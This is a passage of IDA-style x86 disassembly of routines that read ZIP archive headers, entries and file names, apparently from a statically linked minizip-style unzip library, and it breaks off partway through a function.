sub_40ECA8 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jnz short loc_40ED0C
mov eax, 0FFFFFF9Ah
jmp short loc_40ED25
; ---------------------------------------------------------------------------
loc_40ED0C: ; CODE XREF: HSho:0040ED03j
mov eax, [ebp+8]
mov [ebp-4], eax
mov ecx, [ebp-4]
mov edx, [ecx+4]
mov eax, [ecx+8]
mov ecx, [ebp+0Ch]
mov [ecx], edx
mov [ecx+4], eax
xor eax, eax
loc_40ED25: ; CODE XREF: HSho:0040ED0Aj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED29 proc near ; CODE XREF: sub_40EDA2+122p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
shr eax, 10h
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
and ecx, 1Fh
mov edx, [ebp+arg_4]
mov [edx+0Ch], ecx
mov eax, [ebp+var_4]
and eax, 1E0h
shr eax, 5
sub eax, 1
mov ecx, [ebp+arg_4]
mov [ecx+10h], eax
mov edx, [ebp+var_4]
and edx, 0FE00h
shr edx, 9
add edx, 7BCh
mov eax, [ebp+arg_4]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
and ecx, 0F800h
shr ecx, 0Bh
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
and eax, 7E0h
shr eax, 5
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
and edx, 1Fh
shl edx, 1
mov eax, [ebp+arg_4]
mov [eax], edx
mov esp, ebp
pop ebp
retn
sub_40ED29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EDA2 proc near ; CODE XREF: sub_40F1B4+25p
; sub_40F1E3+4Dp ...
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_5C = byte ptr -5Ch
var_58 = byte ptr -58h
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 70h
push esi
push edi
mov [ebp+var_C], 0
mov [ebp+var_4], 0
cmp [ebp+arg_0], 0
jnz short loc_40EDC8
mov eax, 0FFFFFF9Ah
jmp loc_40F1AE
; ---------------------------------------------------------------------------
loc_40EDC8: ; CODE XREF: sub_40EDA2+1Aj
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
push 0
mov ecx, [ebp+var_10]
mov edx, [ecx+14h]
mov eax, [ebp+var_10]
add edx, [eax+0Ch]
push edx
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_40E53B
add esp, 0Ch
test eax, eax
jz short loc_40EDF6
mov [ebp+var_C], 0FFFFFFFFh
loc_40EDF6: ; CODE XREF: sub_40EDA2+4Bj
cmp [ebp+var_C], 0
jnz short loc_40EE2B
lea eax, [ebp+var_14]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40EE1B
mov [ebp+var_C], 0FFFFFFFFh
jmp short loc_40EE2B
; ---------------------------------------------------------------------------
loc_40EE1B: ; CODE XREF: sub_40EDA2+6Ej
cmp [ebp+var_14], 2014B50h
jz short loc_40EE2B
mov [ebp+var_C], 0FFFFFF99h
loc_40EE2B: ; CODE XREF: sub_40EDA2+58j
; sub_40EDA2+77j ...
lea eax, [ebp+var_64]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EE48
mov [ebp+var_C], 0FFFFFFFFh
loc_40EE48: ; CODE XREF: sub_40EDA2+9Dj
lea eax, [ebp+var_60]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EE65
mov [ebp+var_C], 0FFFFFFFFh
loc_40EE65: ; CODE XREF: sub_40EDA2+BAj
lea eax, [ebp+var_5C]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EE82
mov [ebp+var_C], 0FFFFFFFFh
loc_40EE82: ; CODE XREF: sub_40EDA2+D7j
lea eax, [ebp+var_58]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EE9F
mov [ebp+var_C], 0FFFFFFFFh
loc_40EE9F: ; CODE XREF: sub_40EDA2+F4j
lea eax, [ebp+var_54]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40EEBC
mov [ebp+var_C], 0FFFFFFFFh
loc_40EEBC: ; CODE XREF: sub_40EDA2+111j
lea eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_54]
push ecx
call sub_40ED29
add esp, 8
lea edx, [ebp+var_50]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40EEE9
mov [ebp+var_C], 0FFFFFFFFh
loc_40EEE9: ; CODE XREF: sub_40EDA2+13Ej
lea edx, [ebp+var_4C]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40EF06
mov [ebp+var_C], 0FFFFFFFFh
loc_40EF06: ; CODE XREF: sub_40EDA2+15Bj
lea edx, [ebp+var_48]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40EF23
mov [ebp+var_C], 0FFFFFFFFh
loc_40EF23: ; CODE XREF: sub_40EDA2+178j
lea edx, [ebp+var_44]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EF40
mov [ebp+var_C], 0FFFFFFFFh
loc_40EF40: ; CODE XREF: sub_40EDA2+195j
lea edx, [ebp+var_40]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EF5D
mov [ebp+var_C], 0FFFFFFFFh
loc_40EF5D: ; CODE XREF: sub_40EDA2+1B2j
lea edx, [ebp+var_3C]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EF7A
mov [ebp+var_C], 0FFFFFFFFh
loc_40EF7A: ; CODE XREF: sub_40EDA2+1CFj
lea edx, [ebp+var_38]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EF97
mov [ebp+var_C], 0FFFFFFFFh
loc_40EF97: ; CODE XREF: sub_40EDA2+1ECj
lea edx, [ebp+var_34]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EFB4
mov [ebp+var_C], 0FFFFFFFFh
loc_40EFB4: ; CODE XREF: sub_40EDA2+209j
lea edx, [ebp+var_30]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40EFD1
mov [ebp+var_C], 0FFFFFFFFh
loc_40EFD1: ; CODE XREF: sub_40EDA2+226j
lea edx, [ebp+var_8]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40EFEE
mov [ebp+var_C], 0FFFFFFFFh
loc_40EFEE: ; CODE XREF: sub_40EDA2+243j
mov edx, [ebp+var_4]
add edx, [ebp+var_44]
mov [ebp+var_4], edx
cmp [ebp+var_C], 0
jnz short loc_40F05B
cmp [ebp+arg_C], 0
jz short loc_40F05B
mov eax, [ebp+var_44]
cmp eax, [ebp+arg_10]
jnb short loc_40F01C
mov ecx, [ebp+arg_C]
add ecx, [ebp+var_44]
mov byte ptr [ecx], 0
mov edx, [ebp+var_44]
mov [ebp+var_68], edx
jmp short loc_40F022
; ---------------------------------------------------------------------------
loc_40F01C: ; CODE XREF: sub_40EDA2+267j
mov eax, [ebp+arg_10]
mov [ebp+var_68], eax
loc_40F022: ; CODE XREF: sub_40EDA2+278j
cmp [ebp+var_44], 0
jbe short loc_40F052
cmp [ebp+arg_10], 0
jbe short loc_40F052
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
push 1
mov eax, [ebp+var_68]
push eax
mov ecx, [ebp+arg_C]
push ecx
call sub_40E610
add esp, 10h
cmp eax, 1
jz short loc_40F052
mov [ebp+var_C], 0FFFFFFFFh
loc_40F052: ; CODE XREF: sub_40EDA2+284j
; sub_40EDA2+28Aj ...
mov edx, [ebp+var_4]
sub edx, [ebp+var_68]
mov [ebp+var_4], edx
loc_40F05B: ; CODE XREF: sub_40EDA2+259j
; sub_40EDA2+25Fj
cmp [ebp+var_C], 0
jnz loc_40F0F3
cmp [ebp+arg_14], 0
jz loc_40F0F3
mov eax, [ebp+var_40]
cmp eax, [ebp+arg_18]
jnb short loc_40F07F
mov ecx, [ebp+var_40]
mov [ebp+var_6C], ecx
jmp short loc_40F085
; ---------------------------------------------------------------------------
loc_40F07F: ; CODE XREF: sub_40EDA2+2D3j
mov edx, [ebp+arg_18]
mov [ebp+var_6C], edx
loc_40F085: ; CODE XREF: sub_40EDA2+2DBj
cmp [ebp+var_4], 0
jz short loc_40F0B3
push 1
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_40E53B
add esp, 0Ch
test eax, eax
jnz short loc_40F0AC
mov [ebp+var_4], 0
jmp short loc_40F0B3
; ---------------------------------------------------------------------------
loc_40F0AC: ; CODE XREF: sub_40EDA2+2FFj
mov [ebp+var_C], 0FFFFFFFFh
loc_40F0B3: ; CODE XREF: sub_40EDA2+2E7j
; sub_40EDA2+308j
cmp [ebp+var_40], 0
jbe short loc_40F0E3
cmp [ebp+arg_18], 0
jbe short loc_40F0E3
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
push 1
mov edx, [ebp+var_6C]
push edx
mov eax, [ebp+arg_14]
push eax
call sub_40E610
add esp, 10h
cmp eax, 1
jz short loc_40F0E3
mov [ebp+var_C], 0FFFFFFFFh
loc_40F0E3: ; CODE XREF: sub_40EDA2+315j
; sub_40EDA2+31Bj ...
mov ecx, [ebp+var_40]
sub ecx, [ebp+var_6C]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
jmp short loc_40F0FC
; ---------------------------------------------------------------------------
loc_40F0F3: ; CODE XREF: sub_40EDA2+2BDj
; sub_40EDA2+2C7j
mov eax, [ebp+var_4]
add eax, [ebp+var_40]
mov [ebp+var_4], eax
loc_40F0FC: ; CODE XREF: sub_40EDA2+34Fj
cmp [ebp+var_C], 0
jnz short loc_40F17E
cmp [ebp+arg_1C], 0
jz short loc_40F17E
mov ecx, [ebp+var_3C]
cmp ecx, [ebp+arg_20]
jnb short loc_40F121
mov edx, [ebp+arg_1C]
add edx, [ebp+var_3C]
mov byte ptr [edx], 0
mov eax, [ebp+var_3C]
mov [ebp+var_70], eax
jmp short loc_40F127
; ---------------------------------------------------------------------------
loc_40F121: ; CODE XREF: sub_40EDA2+36Cj
mov ecx, [ebp+arg_20]
mov [ebp+var_70], ecx
loc_40F127: ; CODE XREF: sub_40EDA2+37Dj
cmp [ebp+var_4], 0
jz short loc_40F14E
push 1
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_40E53B
add esp, 0Ch
test eax, eax
jnz short loc_40F147
jmp short loc_40F14E
; ---------------------------------------------------------------------------
loc_40F147: ; CODE XREF: sub_40EDA2+3A1j
mov [ebp+var_C], 0FFFFFFFFh
loc_40F14E: ; CODE XREF: sub_40EDA2+389j
; sub_40EDA2+3A3j
cmp [ebp+var_3C], 0
jbe short loc_40F17E
cmp [ebp+arg_20], 0
jbe short loc_40F17E
mov edx, [ebp+var_10]
mov eax, [edx]
push eax
push 1
mov ecx, [ebp+var_70]
push ecx
mov edx, [ebp+arg_1C]
push edx
call sub_40E610
add esp, 10h
cmp eax, 1
jz short loc_40F17E
mov [ebp+var_C], 0FFFFFFFFh
loc_40F17E: ; CODE XREF: sub_40EDA2+35Ej
; sub_40EDA2+364j ...
cmp [ebp+var_C], 0
jnz short loc_40F197
cmp [ebp+arg_4], 0
jz short loc_40F197
mov ecx, 14h
lea esi, [ebp+var_64]
mov edi, [ebp+arg_4]
rep movsd
loc_40F197: ; CODE XREF: sub_40EDA2+3E0j
; sub_40EDA2+3E6j
cmp [ebp+var_C], 0
jnz short loc_40F1AB
cmp [ebp+arg_8], 0
jz short loc_40F1AB
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_8]
mov [eax], ecx
loc_40F1AB: ; CODE XREF: sub_40EDA2+3F9j
; sub_40EDA2+3FFj
mov eax, [ebp+var_C]
loc_40F1AE: ; CODE XREF: sub_40EDA2+21j
pop edi
pop esi
mov esp, ebp
pop ebp
retn
sub_40EDA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F1B4 proc near ; CODE XREF: sub_40F30A+BBp
; sub_40FF4C+194p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40EDA2
add esp, 24h
pop ebp
retn
sub_40F1B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F1E3 proc near ; CODE XREF: sub_40EA92+205p
; sub_40F30A+8Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_40F1F6
mov eax, 0FFFFFF9Ah
jmp short loc_40F24D
; ---------------------------------------------------------------------------
loc_40F1F6: ; CODE XREF: sub_40F1E3+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [edx+24h]
mov [ecx+14h], eax
mov ecx, [ebp+var_8]
mov dword ptr [ecx+10h], 0
push 0
push 0
push 0
push 0
push 0
push 0
mov edx, [ebp+var_8]
add edx, 78h
push edx
mov eax, [ebp+var_8]
add eax, 28h
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40EDA2
add esp, 24h
mov [ebp+var_4], eax
xor edx, edx
cmp [ebp+var_4], 0
setz dl
mov eax, [ebp+var_8]
mov [eax+18h], edx
mov eax, [ebp+var_4]
loc_40F24D: ; CODE XREF: sub_40F1E3+11j
mov esp, ebp
pop ebp
retn
sub_40F1E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F251 proc near ; CODE XREF: sub_40F30A+E9p
; sub_40FF4C+169p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_40F267
mov eax, 0FFFFFF9Ah
jmp loc_40F306
; ---------------------------------------------------------------------------
loc_40F267: ; CODE XREF: sub_40F251+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+18h], 0
jnz short loc_40F280
mov eax, 0FFFFFF9Ch
jmp loc_40F306
; ---------------------------------------------------------------------------
loc_40F280: ; CODE XREF: sub_40F251+23j
mov edx, [ebp+var_8]
mov eax, [edx+10h]
add eax, 1
mov ecx, [ebp+var_8]
cmp eax, [ecx+4]
jnz short loc_40F298
mov eax, 0FFFFFF9Ch
jmp short loc_40F306
; ---------------------------------------------------------------------------
loc_40F298: ; CODE XREF: sub_40F251+3Ej
mov edx, [ebp+var_8]
mov eax, [edx+48h]
mov ecx, [ebp+var_8]
mov edx, [ecx+4Ch]
lea eax, [eax+edx+2Eh]
mov ecx, [ebp+var_8]
add eax, [ecx+50h]
mov edx, [ebp+var_8]
mov ecx, [edx+14h]
add ecx, eax
mov edx, [ebp+var_8]
mov [edx+14h], ecx
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
add ecx, 1
mov edx, [ebp+var_8]
mov [edx+10h], ecx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, [ebp+var_8]
add eax, 78h
push eax
mov ecx, [ebp+var_8]
add ecx, 28h
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_40EDA2
add esp, 24h
mov [ebp+var_4], eax
xor eax, eax
cmp [ebp+var_4], 0
setz al
mov ecx, [ebp+var_8]
mov [ecx+18h], eax
mov eax, [ebp+var_4]
loc_40F306: ; CODE XREF: sub_40F251+11j
; sub_40F251+2Aj ...
mov esp, ebp
pop ebp
retn
sub_40F251 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F30A proc near ; CODE XREF: sub_4105D7+25p
var_218 = byte ptr -218h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 218h
cmp [ebp+arg_0], 0
jnz short loc_40F323
mov eax, 0FFFFFF9Ah
jmp loc_40F427
; ---------------------------------------------------------------------------
loc_40F323: ; CODE XREF: sub_40F30A+Dj
mov eax, [ebp+arg_4]
push eax
call sub_41162E ; strlen
add esp, 4
cmp eax, 100h
jb short loc_40F340
mov eax, 0FFFFFF9Ah
jmp loc_40F427
; ---------------------------------------------------------------------------
loc_40F340: ; CODE XREF: sub_40F30A+2Aj
mov ecx, [ebp+arg_4]
push ecx
lea edx, [ebp+var_104]
push edx
call sub_411628 ; strcpy
add esp, 8
mov eax, [ebp+arg_0]
mov [ebp+var_10C], eax
mov ecx, [ebp+var_10C]
cmp dword ptr [ecx+18h], 0
jnz short loc_40F372
mov eax, 0FFFFFF9Ch
jmp loc_40F427
; ---------------------------------------------------------------------------
loc_40F372: ; CODE XREF: sub_40F30A+5Cj
mov edx, [ebp+var_10C]
mov eax, [edx+10h]
mov [ebp+var_110], eax
mov ecx, [ebp+var_10C]
mov edx, [ecx+14h]
mov [ebp+var_114], edx
mov eax, [ebp+arg_0]
push eax
call sub_40F1E3
add esp, 4
mov [ebp+var_108], eax
loc_40F3A2: ; CODE XREF: sub_40F30A+F7j
cmp [ebp+var_108], 0
jnz short loc_40F403
push 0
push 0
push 0
push 0
push 100h
lea ecx, [ebp+var_218]
push ecx
push 0
mov edx, [ebp+arg_0]
push edx
call sub_40F1B4
add esp, 20h
mov eax, [ebp+arg_8]
push eax
lea ecx, [ebp+var_104]
push ecx
lea edx, [ebp+var_218]
push edx
call sub_40E8D4
add esp, 0Ch
test eax, eax
jnz short loc_40F3EF
xor eax, eax
jmp short loc_40F427
; ---------------------------------------------------------------------------
loc_40F3EF: ; CODE XREF: sub_40F30A+DFj
mov eax, [ebp+arg_0]
push eax
call sub_40F251
add esp, 4
mov [ebp+var_108], eax
jmp short loc_40F3A2
; ---------------------------------------------------------------------------
loc_40F403: ; CODE XREF: sub_40F30A+9Fj
mov ecx, [ebp+var_10C]
mov edx, [ebp+var_110]
mov [ecx+10h], edx
mov eax, [ebp+var_10C]
mov ecx, [ebp+var_114]
mov [eax+14h], ecx
mov eax, [ebp+var_108]
loc_40F427: ; CODE XREF: sub_40F30A+14j
; sub_40F30A+31j ...
mov esp, ebp
pop ebp
retn
sub_40F30A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F42B proc near ; CODE XREF: sub_40F6B0+54p
; sub_40FF4C+1B4p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_4], 0
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_C]
mov dword ptr [edx], 0
push 0
mov eax, [ebp+arg_0]
mov ecx, [eax+78h]
mov edx, [ebp+arg_0]
add ecx, [edx+0Ch]
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_40E53B
add esp, 0Ch
test eax, eax
jz short loc_40F47C
or eax, 0FFFFFFFFh
jmp loc_40F6AC
; ---------------------------------------------------------------------------
loc_40F47C: ; CODE XREF: sub_40F42B+47j
cmp [ebp+var_4], 0
jnz short loc_40F4B1
lea edx, [ebp+var_10]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40F4A1
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_40F4B1
; ---------------------------------------------------------------------------
loc_40F4A1: ; CODE XREF: sub_40F42B+6Bj
cmp [ebp+var_10], 4034B50h
jz short loc_40F4B1
mov [ebp+var_4], 0FFFFFF99h
loc_40F4B1: ; CODE XREF: sub_40F42B+55j
; sub_40F42B+74j ...
lea edx, [ebp+var_18]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40F4CE
mov [ebp+var_4], 0FFFFFFFFh
loc_40F4CE: ; CODE XREF: sub_40F42B+9Aj
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40F4EB
mov [ebp+var_4], 0FFFFFFFFh
loc_40F4EB: ; CODE XREF: sub_40F42B+B7j
lea edx, [ebp+var_18]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40F50A
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_40F522
; ---------------------------------------------------------------------------
loc_40F50A: ; CODE XREF: sub_40F42B+D4j
cmp [ebp+var_4], 0
jnz short loc_40F522
mov edx, [ebp+arg_0]
mov eax, [ebp+var_18]
cmp eax, [edx+34h]
jz short loc_40F522
mov [ebp+var_4], 0FFFFFF99h
loc_40F522: ; CODE XREF: sub_40F42B+DDj
; sub_40F42B+E3j ...
cmp [ebp+var_4], 0
jnz short loc_40F541
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+34h], 0
jz short loc_40F541
mov edx, [ebp+arg_0]
cmp dword ptr [edx+34h], 8
jz short loc_40F541
mov [ebp+var_4], 0FFFFFF99h
loc_40F541: ; CODE XREF: sub_40F42B+FBj
; sub_40F42B+104j ...
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40F55E
mov [ebp+var_4], 0FFFFFFFFh
loc_40F55E: ; CODE XREF: sub_40F42B+12Aj
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40F57D
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_40F59F
; ---------------------------------------------------------------------------
loc_40F57D: ; CODE XREF: sub_40F42B+147j
cmp [ebp+var_4], 0
jnz short loc_40F59F
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_18]
cmp ecx, [eax+3Ch]
jz short loc_40F59F
mov edx, [ebp+var_14]
and edx, 8
test edx, edx
jnz short loc_40F59F
mov [ebp+var_4], 0FFFFFF99h
loc_40F59F: ; CODE XREF: sub_40F42B+150j
; sub_40F42B+156j ...
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40F5BE
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_40F5E0
; ---------------------------------------------------------------------------
loc_40F5BE: ; CODE XREF: sub_40F42B+188j
cmp [ebp+var_4], 0
jnz short loc_40F5E0
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_18]
cmp ecx, [eax+40h]
jz short loc_40F5E0
mov edx, [ebp+var_14]
and edx, 8
test edx, edx
jnz short loc_40F5E0
mov [ebp+var_4], 0FFFFFF99h
loc_40F5E0: ; CODE XREF: sub_40F42B+191j
; sub_40F42B+197j ...
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40F5FF
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_40F621
; ---------------------------------------------------------------------------
loc_40F5FF: ; CODE XREF: sub_40F42B+1C9j
cmp [ebp+var_4], 0
jnz short loc_40F621
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_18]
cmp ecx, [eax+44h]
jz short loc_40F621
mov edx, [ebp+var_14]
and edx, 8
test edx, edx
jnz short loc_40F621
mov [ebp+var_4], 0FFFFFF99h
loc_40F621: ; CODE XREF: sub_40F42B+1D2j
; sub_40F42B+1D8j ...
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40F640
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_40F658
; ---------------------------------------------------------------------------
loc_40F640: ; CODE XREF: sub_40F42B+20Aj
cmp [ebp+var_4], 0
jnz short loc_40F658
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
cmp ecx, [eax+48h]
jz short loc_40F658
mov [ebp+var_4], 0FFFFFF99h
loc_40F658: ; CODE XREF: sub_40F42B+213j
; sub_40F42B+219j ...
mov edx, [ebp+arg_4]
mov eax, [edx]
add eax, [ebp+var_C]
mov ecx, [ebp+arg_4]
mov [ecx], eax
lea edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40F682
mov [ebp+var_4], 0FFFFFFFFh
loc_40F682: ; CODE XREF: sub_40F42B+24Ej
mov edx, [ebp+arg_0]
mov eax, [edx+78h]
mov ecx, [ebp+var_C]
lea edx, [eax+ecx+1Eh]
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_8]
mov [ecx], edx
mov eax, [ebp+arg_4]
mov ecx, [eax]
add ecx, [ebp+var_8]
mov edx, [ebp+arg_4]
mov [edx], ecx
mov eax, [ebp+var_4]
loc_40F6AC: ; CODE XREF: sub_40F42B+4Cj
mov esp, ebp
pop ebp
retn
sub_40F42B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6B0 proc near ; CODE XREF: sub_4107B2+DEp
; sub_4107B2+3D8p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
cmp [ebp+arg_0], 0
jnz short loc_40F6C6
mov eax, 0FFFFFF9Ah
jmp loc_40F86E
; ---------------------------------------------------------------------------
loc_40F6C6: ; CODE XREF: sub_40F6B0+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+18h], 0
jnz short loc_40F6DF
mov eax, 0FFFFFF9Ah
jmp loc_40F86E
; ---------------------------------------------------------------------------
loc_40F6DF: ; CODE XREF: sub_40F6B0+23j
mov edx, [ebp+var_C]
cmp dword ptr [edx+7Ch], 0
jz short loc_40F6F4
mov eax, [ebp+arg_0]
push eax
call sub_40FCA7
add esp, 4
loc_40F6F4: ; CODE XREF: sub_40F6B0+36j
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_1C]
push edx
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_40F42B
add esp, 10h
test eax, eax
jz short loc_40F71A
mov eax, 0FFFFFF99h
jmp loc_40F86E
; ---------------------------------------------------------------------------
loc_40F71A: ; CODE XREF: sub_40F6B0+5Ej
push 6Ch
call dword_4131C8 ; malloc
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_40F738
mov eax, 0FFFFFF98h
jmp loc_40F86E
